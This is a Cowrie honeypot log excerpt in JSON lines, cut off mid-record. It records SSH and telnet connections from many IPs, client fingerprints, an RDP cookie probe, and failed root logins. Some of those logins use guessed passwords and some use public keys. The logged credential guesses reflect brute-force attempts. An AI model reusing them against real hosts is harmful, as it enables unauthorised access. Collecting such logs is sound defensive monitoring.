{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":41590,"dst_ip":"10.17.0.5","dst_port":22,"session":"00639ba68bc8","protocol":"ssh","message":"New connection: 193.228.128.84:41590 (10.17.0.5:22) [session: 00639ba68bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:15.698750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:15.703684Z","src_ip":"193.228.128.84","session":"00639ba68bc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:15.806493Z","src_ip":"193.228.128.84","session":"00639ba68bc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345r","message":"login attempt [root/12345r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:16.116060Z","src_ip":"193.228.128.84","session":"00639ba68bc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:17.224653Z","src_ip":"193.228.128.84","session":"00639ba68bc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.111.187.169","src_port":41636,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5340fa48fce","protocol":"ssh","message":"New connection: 86.111.187.169:41636 (10.17.0.5:22) [session: f5340fa48fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:24.701873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:24.707042Z","src_ip":"86.111.187.169","session":"f5340fa48fce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:24.782497Z","src_ip":"86.111.187.169","session":"f5340fa48fce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:36:28:67:72:88:75:25:2e:77:12:3a:ff:9d:8e:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDisth/vbDlcfw75b2Do9NK5eHL2Y3Pu75R0cgeTQlZ3CViae5b+ctG5rOAu4RDKHBtvchbgFa6MoPsx/ZkkpR4VJMG59104Ykb+9G6JD3gN2YwsHyhgkpJyeXIGxGuOhxXwubs56Ey937lSgPI4WekxoQ6SviZLWbbFWfXU7EyA4MFhrDoYKrJaxGwECkRHcsoIy1d7v7ygIxC4EdeW1wLOG/10vZHrvVayMtEurryzoSy2M32nP0gbYtoGUUCYjOeE05l0pleVuTkqcSXqLD6PetlR7PQkumWTGb4SeO1GXR1wg3/kIV8m52zqChV9obTgu6DLjo3jROdNueX+OX5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:36:28:67:72:88:75:25:2e:77:12:3a:ff:9d:8e:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:25.105795Z","src_ip":"86.111.187.169","session":"f5340fa48fce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:36:28:67:72:88:75:25:2e:77:12:3a:ff:9d:8e:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDisth/vbDlcfw75b2Do9NK5eHL2Y3Pu75R0cgeTQlZ3CViae5b+ctG5rOAu4RDKHBtvchbgFa6MoPsx/ZkkpR4VJMG59104Ykb+9G6JD3gN2YwsHyhgkpJyeXIGxGuOhxXwubs56Ey937lSgPI4WekxoQ6SviZLWbbFWfXU7EyA4MFhrDoYKrJaxGwECkRHcsoIy1d7v7ygIxC4EdeW1wLOG/10vZHrvVayMtEurryzoSy2M32nP0gbYtoGUUCYjOeE05l0pleVuTkqcSXqLD6PetlR7PQkumWTGb4SeO1GXR1wg3/kIV8m52zqChV9obTgu6DLjo3jROdNueX+OX5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:25.109506Z","src_ip":"86.111.187.169","session":"f5340fa48fce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:af:31:f9:31:83:76:c3:73:9f:01:3d:1b:49:c5:66","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOZrvFpRuHNjYZryMBhENccierPGj8o6GZaEeqM8MOCu","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e4:af:31:f9:31:83:76:c3:73:9f:01:3d:1b:49:c5:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:25.178996Z","src_ip":"86.111.187.169","session":"f5340fa48fce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:af:31:f9:31:83:76:c3:73:9f:01:3d:1b:49:c5:66","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOZrvFpRuHNjYZryMBhENccierPGj8o6GZaEeqM8MOCu","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:25.183238Z","src_ip":"86.111.187.169","session":"f5340fa48fce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:d4:f1:66:31:bb:e4:0f:87:76:b0:cf:31:9c:9b:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx2NxTfgtgNUTyD4nIDMl283cZ7rHa+PU3t8porgsVtUZhw3fJXjRwdgSsiMRALsgA7nHWlfrR0eImNe7odcrBWMEWXMF77SUFWVVz9OVJd6yMr1AB3JUFv2YZxwYnRBS+uDYGfNcz5t6+OAPYlmIr3YZ0RvEcXNge5Wx+znacqMrinw+/FpJ07UZz4CPHZV//87LmGdjppd/24sz61gOFf1fyrigdU5lhko+uN1l/bLI3FvWdTmJBZLoSvVJcjIjNaGorcTgO3RcAAN8v3M7PnAlBxKH76NW8jR47cAd5QhhOktICY8Ldpp0Is/JFLDgOsbbrlb6FtleaLfvn8B48w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:d4:f1:66:31:bb:e4:0f:87:76:b0:cf:31:9c:9b:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:25.253802Z","src_ip":"86.111.187.169","session":"f5340fa48fce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:d4:f1:66:31:bb:e4:0f:87:76:b0:cf:31:9c:9b:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx2NxTfgtgNUTyD4nIDMl283cZ7rHa+PU3t8porgsVtUZhw3fJXjRwdgSsiMRALsgA7nHWlfrR0eImNe7odcrBWMEWXMF77SUFWVVz9OVJd6yMr1AB3JUFv2YZxwYnRBS+uDYGfNcz5t6+OAPYlmIr3YZ0RvEcXNge5Wx+znacqMrinw+/FpJ07UZz4CPHZV//87LmGdjppd/24sz61gOFf1fyrigdU5lhko+uN1l/bLI3FvWdTmJBZLoSvVJcjIjNaGorcTgO3RcAAN8v3M7PnAlBxKH76NW8jR47cAd5QhhOktICY8Ldpp0Is/JFLDgOsbbrlb6FtleaLfvn8B48w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:25.257572Z","src_ip":"86.111.187.169","session":"f5340fa48fce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:07:73:ba:f9:6e:90:76:74:92:09:d5:36:3b:c5:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIoBmBt67TvvCw700WBMyKO+hKTGV7N6gfdZL1EHaAxBPa8cGrGUnPmYbieiCDNiBlgHs39NslascnTK/UrrzugVFJqCJIL1ZoVDotPicRPYqDAGaGjcbVemEzNfuKWGnG0SWP084O83384IRbCr28p7yzrd4DB64f7AH4MbX2+4qQEdjbqJ1jY/nlua23jPdojspoFwMe2oQd6kI7Reki10h9U+fkCT5Vy+S3mJIVIVGyiLpib9fw4OvblzFjRAaJ+k0pXGkYTrTpm9O1dnVp7a/z8RjTr7xfEP1Bwt0jiRLo6Rekx9dp0KcSBSPRIaDmF/K6Xmnvdjq1KcJqkyLp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:07:73:ba:f9:6e:90:76:74:92:09:d5:36:3b:c5:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:25.327282Z","src_ip":"86.111.187.169","session":"f5340fa48fce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:07:73:ba:f9:6e:90:76:74:92:09:d5:36:3b:c5:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIoBmBt67TvvCw700WBMyKO+hKTGV7N6gfdZL1EHaAxBPa8cGrGUnPmYbieiCDNiBlgHs39NslascnTK/UrrzugVFJqCJIL1ZoVDotPicRPYqDAGaGjcbVemEzNfuKWGnG0SWP084O83384IRbCr28p7yzrd4DB64f7AH4MbX2+4qQEdjbqJ1jY/nlua23jPdojspoFwMe2oQd6kI7Reki10h9U+fkCT5Vy+S3mJIVIVGyiLpib9fw4OvblzFjRAaJ+k0pXGkYTrTpm9O1dnVp7a/z8RjTr7xfEP1Bwt0jiRLo6Rekx9dp0KcSBSPRIaDmF/K6Xmnvdjq1KcJqkyLp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:25.331499Z","src_ip":"86.111.187.169","session":"f5340fa48fce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:aa:89:58:48:f6:8f:d7:ee:e8:0f:2e:74:a7:70:63","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJNM4hfIx/w/qeLN3vQnyGWUmAjp52yCNUSIl5jkfaBBYjrS6nMSQjE3h3/Dy3VgZdm0yMt7jxRQd/BDUiw+j+n3ImJSqrKIPURhiBwX0kagtDo7/YeRXWgk7GXV7J7HQdO3momj1WaBD9cxx1gR/2yKVrj6lWclrtmfcaO6vGvrAAAAFQDr3N9KwWY7JiBnDaYCP81vg2fdFwAAAIEAh0y4E9ABcufXnEDbSxtmeCMz7lxoTYx6qCpUGA2kvGj/9tXo9KKdd7wTDpSA7IjbP/i1PcDR247WBlLnmUmgRqN4QDQUZ5PAmi41xpB6HZlmheMtYsl56dUZCrLaXepsmW4P0CVfLtPYHTvYCOMoquHJutcSDydWnVtZsE44y5AAAACABEz6VJmy2nnlQFVCaug0b74AzGsZoYh/4g9gRACufHqihWk+IPINSUpx/nHbco+OvcTbyKJ6YNFgZpmNqDx0IZoQre+eS30wc/mrk0VIqGMg5xAyP6LrMuWTbfKN2lBM/bWIGgCmgJS+K4lKgxalRcO93bFgEBOo0LVsLKKih34=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 66:aa:89:58:48:f6:8f:d7:ee:e8:0f:2e:74:a7:70:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:25.403092Z","src_ip":"86.111.187.169","session":"f5340fa48fce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:aa:89:58:48:f6:8f:d7:ee:e8:0f:2e:74:a7:70:63","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJNM4hfIx/w/qeLN3vQnyGWUmAjp52yCNUSIl5jkfaBBYjrS6nMSQjE3h3/Dy3VgZdm0yMt7jxRQd/BDUiw+j+n3ImJSqrKIPURhiBwX0kagtDo7/YeRXWgk7GXV7J7HQdO3momj1WaBD9cxx1gR/2yKVrj6lWclrtmfcaO6vGvrAAAAFQDr3N9KwWY7JiBnDaYCP81vg2fdFwAAAIEAh0y4E9ABcufXnEDbSxtmeCMz7lxoTYx6qCpUGA2kvGj/9tXo9KKdd7wTDpSA7IjbP/i1PcDR247WBlLnmUmgRqN4QDQUZ5PAmi41xpB6HZlmheMtYsl56dUZCrLaXepsmW4P0CVfLtPYHTvYCOMoquHJutcSDydWnVtZsE44y5AAAACABEz6VJmy2nnlQFVCaug0b74AzGsZoYh/4g9gRACufHqihWk+IPINSUpx/nHbco+OvcTbyKJ6YNFgZpmNqDx0IZoQre+eS30wc/mrk0VIqGMg5xAyP6LrMuWTbfKN2lBM/bWIGgCmgJS+K4lKgxalRcO93bFgEBOo0LVsLKKih34=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:25.406997Z","src_ip":"86.111.187.169","session":"f5340fa48fce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:25.481761Z","src_ip":"86.111.187.169","session":"f5340fa48fce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57244,"dst_ip":"159.203.135.109","dst_port":22,"session":"e76e4c136306","protocol":"ssh","message":"New connection: 152.42.212.128:57244 (159.203.135.109:22) [session: e76e4c136306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:38.688377Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:38.693554Z","src_ip":"152.42.212.128","session":"e76e4c136306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:38.697651Z","src_ip":"152.42.212.128","session":"e76e4c136306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":43066,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd24b92c5a0b","protocol":"ssh","message":"New connection: 103.195.236.96:43066 (10.17.0.5:22) [session: cd24b92c5a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:50.054067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:50.059138Z","src_ip":"103.195.236.96","session":"cd24b92c5a0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:50.291056Z","src_ip":"103.195.236.96","session":"cd24b92c5a0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"korona","message":"login attempt [root/korona] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:51.020698Z","src_ip":"103.195.236.96","session":"cd24b92c5a0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:52.255234Z","src_ip":"103.195.236.96","session":"cd24b92c5a0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46612,"dst_ip":"10.17.0.5","dst_port":23,"session":"4da754b3f77e","protocol":"telnet","message":"New connection: 192.119.13.58:46612 (10.17.0.5:23) [session: 4da754b3f77e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:55.989733Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":37506,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc5c27d35e11","protocol":"ssh","message":"New connection: 43.228.112.254:37506 (10.17.0.5:22) [session: bc5c27d35e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:13.761949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:13.766781Z","src_ip":"43.228.112.254","session":"bc5c27d35e11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:13.996709Z","src_ip":"43.228.112.254","session":"bc5c27d35e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":38358,"dst_ip":"10.17.0.5","dst_port":22,"session":"b27c397b3ac8","protocol":"ssh","message":"New connection: 103.27.238.114:38358 (10.17.0.5:22) [session: b27c397b3ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:14.114395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:14.120279Z","src_ip":"103.27.238.114","session":"b27c397b3ac8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.168.136","src_port":55294,"dst_ip":"159.203.135.109","dst_port":22,"session":"007f37d78a2f","protocol":"ssh","message":"New connection: 115.190.168.136:55294 (159.203.135.109:22) [session: 007f37d78a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:14.301517Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 